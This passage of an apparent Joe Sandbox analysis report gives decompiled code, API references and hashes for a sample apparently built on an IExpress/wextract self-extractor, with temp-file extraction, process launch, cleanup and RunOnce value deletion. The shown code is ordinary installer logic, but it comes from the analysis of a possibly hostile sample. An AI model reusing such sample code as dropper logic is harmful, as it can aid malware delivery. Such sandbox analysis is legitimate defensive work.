					_t14 = 0;
				}
				return _t14;
			}

0x00f358cd
0x00f358d1
0x00f358d3
0x00f358d5
0x00f358d8
0x00f358d8
0x00f358da
0x00f358db
0x00f358e1
0x00f358ed
0x00f358f1
0x00f3591e
0x00f3592c
0x00f35943
0x00f3594a
0x00f3594d
0x00f35953
0x00f35959
0x00000000
0x00f3595b
0x00f3595c
0x00f35963
0x00f3596c
0x00000000
0x00f35972
0x00f35974
0x00f3597a
0x00f3597a
0x00f3596c
0x00f358f3
0x00f35901
0x00f35906
0x00f3590b
0x00f35910
0x00f35910
0x00f35918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00F35534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F358E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00F35534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F35943
LocalFree.KERNEL32(00000000,?,00F35534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3594D
CloseHandle.KERNEL32(00000000,?,00F35534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F3595C
GetFileAttributesA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,00F35534,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F35963

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F358CD, 00F358CF, 00F35919, 00F35962
TMP4351$.TMP, xrefs: 00F35923

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-908790857
Opcode ID: a880be9368042dd675a7ddfeec57d8aa4eefef7f82b853e46b1dbbc556c15d20
Instruction ID: 98189190b16e9289eee41ee1f290c0685d5e1a8b9defc004ed498144134523bb
Opcode Fuzzy Hash: a880be9368042dd675a7ddfeec57d8aa4eefef7f82b853e46b1dbbc556c15d20
Instruction Fuzzy Hash: 22117871A012147BC7246F7A9C0DB9B7E9EEF85770F004615F586D31D0CAB4D805A6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F33FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00F33FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0xf38004; // 0xc69e30f7
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E00F36CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0xf39124 = E00F36285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E00F344B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0xf38a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0xf39a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0xf39a2c = _t44;
						}
					}
				}
				E00F3411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0xf39a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00f33fef
0x00f33ffa
0x00f34001
0x00f34008
0x00f3400a
0x00f3400b
0x00f34010
0x00f3410a
0x00f3411a
0x00f3411a
0x00f3401c
0x00f3401d
0x00f3401e
0x00f3401f
0x00f34033
0x00f3403b
0x00f340ca
0x00f340e9
0x00f340f8
0x00f34101
0x00f34106
0x00f34106
0x00f34108
0x00f34108
0x00000000
0x00f34108
0x00f34049
0x00f3405c
0x00f34062
0x00f34068
0x00f3406e
0x00f34070
0x00f34077
0x00f3407f
0x00f34089
0x00f3408b
0x00f3408b
0x00f34089
0x00f34077
0x00f34091
0x00f3409c
0x00f340a8
0x00f340b8
0x00000000
0x00f340c2
0x00000000
0x00f340c2

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00F34033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F34049
GetExitCodeProcess.KERNELBASE ref: 00F3405C
CloseHandle.KERNEL32(?), ref: 00F3409C
CloseHandle.KERNEL32(?), ref: 00F340A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F340DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F340E9

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: eb43d500c385ca0d3b752f266ca7d8adacd913b2403c40f00ea6b526d6d0319a
Instruction ID: c25df76f331dcca531967b924d3af7143d325d137c56038c415b64efffdeb28a
Opcode Fuzzy Hash: eb43d500c385ca0d3b752f266ca7d8adacd913b2403c40f00ea6b526d6d0319a
Instruction Fuzzy Hash: 0931C271A4020CBBEB20AB65DC48FAB777DEB94730F1001A9F545D21A0C674AD85EF11

Uniqueness

Uniqueness Score: -1.00%

Function 00F351E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00F351E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E00F3468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E00F3468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E00F344B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0xf39124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0xf39124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E00F344B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0xf39124 = 0x80070714;
					goto L10;
				}
				E00F344B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xf39124 = E00F36285();
				goto L10;
			}

0x00f351fb
0x00f35207
0x00f3520b
0x00f3523c
0x00f35268
0x00f35270
0x00f3528b
0x00f35293
0x00f3529c
0x00f352a6
0x00f352b0
0x00000000
0x00f352b0
0x00f3529e
0x00f35279
0x00000000
0x00f3527b
0x00f35273
0x00000000
0x00f35273
0x00f3524a
0x00f35250
0x00f35256
0x00000000
0x00f35256
0x00f35219
0x00f35223
0x00000000

APIs

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F32F4D,?,00000002,00000000), ref: 00F35201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F35250

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Part of subcall function 00F36285: GetLastError.KERNEL32(00F35BBC), ref: 00F36285

Strings

<None>, xrefs: 00F35262
UPROMPT, xrefs: 00F351EF, 00F35230

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: b78f5ee1046be6326c34c8ddc196b97e01f7ea7e204786d3e0fa82b08e38b807
Instruction ID: a3f8a85adacdd360ba4c5a317066737590653766970583f59163a4bb6c80f3a1
Opcode Fuzzy Hash: b78f5ee1046be6326c34c8ddc196b97e01f7ea7e204786d3e0fa82b08e38b807
Instruction Fuzzy Hash: 6711C8B26046056FD3147B715C45F3B719EEBC9770F104429FA82E5191DABDEC017535

Uniqueness

Uniqueness Score: -1.00%

Function 00F352B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00F352B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0xf38004; // 0xc69e30f7
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0xf391e0; // 0x9c7c60
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0xf38a24 == 0 &&  *0xf39a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0xf38a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0xf38a24 == 0 &&  *0xf39a30 == 0) {
					_push(_t22);
					E00F31781( &_v268, 0x104, _t22, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
					if(( *0xf39a34 & 0x00000020) != 0) {
						E00F365E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E00F32390( &_v268);
					_t11 =  *0xf38a20; // 0x0
				}
				if( *0xf39a40 != 1 && _t11 != 0) {
					_t11 = E00F31FE1(_t22); // executed
				}
				 *0xf38a20 =  *0xf38a20 & 0x00000000;
				return E00F36CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x00f352b6
0x00f352b6
0x00f352b6
0x00f352c1
0x00f352c8
0x00f352cb
0x00f352cc
0x00f352d4
0x00f352d6
0x00f352d7
0x00f352de
0x00f352e0
0x00f352f2
0x00f352fa
0x00f352fa
0x00f35302
0x00f35305
0x00f3530c
0x00f35312
0x00f35316
0x00f35316
0x00f35317
0x00f3531c
0x00f3531f
0x00f35333
0x00f35345
0x00f35351
0x00f35359
0x00f35359
0x00f35363
0x00f35369
0x00f3536f
0x00f35374
0x00f35374
0x00f35381
0x00f35387
0x00f35387
0x00f3538f
0x00f353a0

APIs

SetFileAttributesA.KERNELBASE(009C7C60,00000080,?,00000000), ref: 00F352F2
DeleteFileA.KERNELBASE(009C7C60), ref: 00F352FA
LocalFree.KERNEL32(009C7C60,?,00000000), ref: 00F35305
LocalFree.KERNEL32(009C7C60), ref: 00F3530C
SetCurrentDirectoryA.KERNELBASE(00F311FC,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F35363

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F35334

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-3217841213
Opcode ID: 9774ac1b927134ce6cfe381949b722dd6c2984fb4d50e60ac536c45a168e9414
Instruction ID: 0d94df3641f27b85a12556c4ee48eed2cf3e502862b95431fab0320f26a34eee
Opcode Fuzzy Hash: 9774ac1b927134ce6cfe381949b722dd6c2984fb4d50e60ac536c45a168e9414
Instruction Fuzzy Hash: 4621A131904608EBDB24AB20DD49BA977B6BB50BB0F040259F482972A0CFF99D85FB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F31FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F31FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0xf38530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup1"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x00f31fee
0x00f32005
0x00f3200d
0x00f32017
0x00000000
0x00f32020
0x00f3200d
0x00f32029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,00F3538C,?,?,00F3538C), ref: 00F32005
RegDeleteValueA.KERNELBASE(00F3538C,wextract_cleanup1,?,?,00F3538C), ref: 00F32017
RegCloseKey.ADVAPI32(00F3538C,?,?,00F3538C), ref: 00F32020

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F31FFB
wextract_cleanup1, xrefs: 00F31FE7, 00F3200F

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: 1ce379187f1102c8589abb00c0ec96bb87c8db7d528ae4463f98a776f1a18119
Instruction ID: fa3428b061593183e9fbb1fb0225df4a7a7b3e165edd3fb07acda3a2eacac69d
Opcode Fuzzy Hash: 1ce379187f1102c8589abb00c0ec96bb87c8db7d528ae4463f98a776f1a18119
Instruction Fuzzy Hash: 10E086B195031CBBD7298F91ED4AF5D7F2AF7007B0F140194F944A00A0EBB59E14F606

Uniqueness

Uniqueness Score: -1.00%

Function 00F34CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F34CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0xf38004; // 0xc69e30f7
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0xf391d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E00F34E99(_t75);
						L35:
						return E00F36CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0xf38584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0xf391e4;
						_t58 = 0xf391e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0xf391e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0xf391e4;
						_t30 = E00F34702( &_v268, 0xf391e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E00F3476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E00F34980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E00F347E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0xf393f4 =  *0xf393f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0xf391e4;
						_t63 = 0xf391e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0xf391e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0xf391e4;
						_t30 = E00F34702( &_v268, 0xf391e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E00F34C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E00F34B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E00F34B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x00f34cd0
0x00f34cdb
0x00f34ce0
0x00f34ce2
0x00f34cee
0x00f34cf2
0x00f34d0e
0x00f34d0e
0x00f34d11
0x00f34e83
0x00f34e88
0x00f34e98
0x00f34e98
0x00f34d17
0x00f34d17
0x00f34d1a
0x00f34d2f
0x00f34d2f
0x00000000
0x00f34d2f
0x00f34d1c
0x00f34d1c
0x00f34d1f
0x00f34dcb
0x00f34dd0
0x00f34dd2
0x00f34ddd
0x00f34ddd
0x00f34de3
0x00f34de8
0x00f34ded
0x00f34ded
0x00f34def
0x00f34df0
0x00f34df0
0x00f34df4
0x00f34df4
0x00f34df6
0x00f34df9
0x00f34dfc
0x00f34dfc
0x00f34dfe
0x00f34dff
0x00f34dff
0x00f34e03
0x00f34e08
0x00f34e0a
0x00f34e0f
0x00f34d03
0x00f34d03
0x00000000
0x00f34d03
0x00f34e18
0x00f34e20
0x00f34e25
0x00f34e27
0x00000000
0x00000000
0x00f34e33
0x00f34e38
0x00f34e3a
0x00000000
0x00000000
0x00f34e40
0x00f34e51
0x00f34e56
0x00f34e5b
0x00f34e5e
0x00000000
0x00000000
0x00f34e6a
0x00f34e6f
0x00f34e71
0x00000000
0x00000000
0x00f34e77
0x00f34e7d
0x00000000
0x00f34e7d
0x00f34d25
0x00f34d25
0x00f34d28
0x00f34d36
0x00f34d3b
0x00f34d40
0x00f34d40
0x00f34d42
0x00f34d43
0x00f34d43
0x00f34d47
0x00f34d4a
0x00f34d4a
0x00f34d4c
0x00f34d4f
0x00f34d4f
0x00f34d51
0x00f34d52
0x00f34d52
0x00f34d56
0x00f34d5b
0x00f34d5d
0x00f34d62
0x00000000
0x00000000
0x00f34d67
0x00f34d6f
0x00f34d74
0x00f34d76
0x00000000
0x00000000
0x00f34d7c
0x00f34d84
0x00f34d89
0x00f34d8b
0x00000000
0x00000000
0x00f34d94
0x00f34d99
0x00f34d9e
0x00f34da1
0x00f34daa
0x00f34daa
0x00f34da3
0x00f34da3
0x00f34da3
0x00f34db5
0x00f34dbb
0x00f34dbd
0x00000000
0x00f34dc3
0x00f34dc5
0x00000000
0x00f34dc5
0x00f34dbd
0x00f34d2a
0x00f34d2a
0x00f34d2d
0x00000000
0x00000000
0x00000000
0x00f34d2d
0x00f34cf8
0x00f34cfd
0x00f34d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00F34DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00F34DDD

Strings

C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F34D36, 00F34DE3

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-3217841213
Opcode ID: 9c959cc6522ae589e984a9ab53e324524f8708f20003165f96e0d5555ed042a0
Instruction ID: 0f5e4a960bd690188966fdebccd34aa0994000d795f6e42372641869aecdd3f3
Opcode Fuzzy Hash: 9c959cc6522ae589e984a9ab53e324524f8708f20003165f96e0d5555ed042a0
Instruction Fuzzy Hash: F5414336A042058BCB259F38DC446B5B3A5FB45330F044668E88297695DF35FE8AFB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F34C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F34C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0xf38d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0xf38d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x00f34c40
0x00f34c4a
0x00f34c8d
0x00000000
0x00f34c70
0x00f34c70
0x00f34c7e
0x00f34c86
0x00000000
0x00000000
0x00000000
0x00f34c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00F34C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00F34C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00F34C7E

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: f5357b7aa0f94f414bbe990df9474703414f504428703d4edeac594e3f949e94
Instruction ID: 32d7b7572633b7db43b9baf5adc057937b7832d4cb13ac17a07016b595d07400
Opcode Fuzzy Hash: f5357b7aa0f94f414bbe990df9474703414f504428703d4edeac594e3f949e94
Instruction Fuzzy Hash: 07F09073A0120CAF9B24EFB5CC48DBB77ADEB142B0B44052AB855C1050EA30FA14FBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F3487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00F3487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
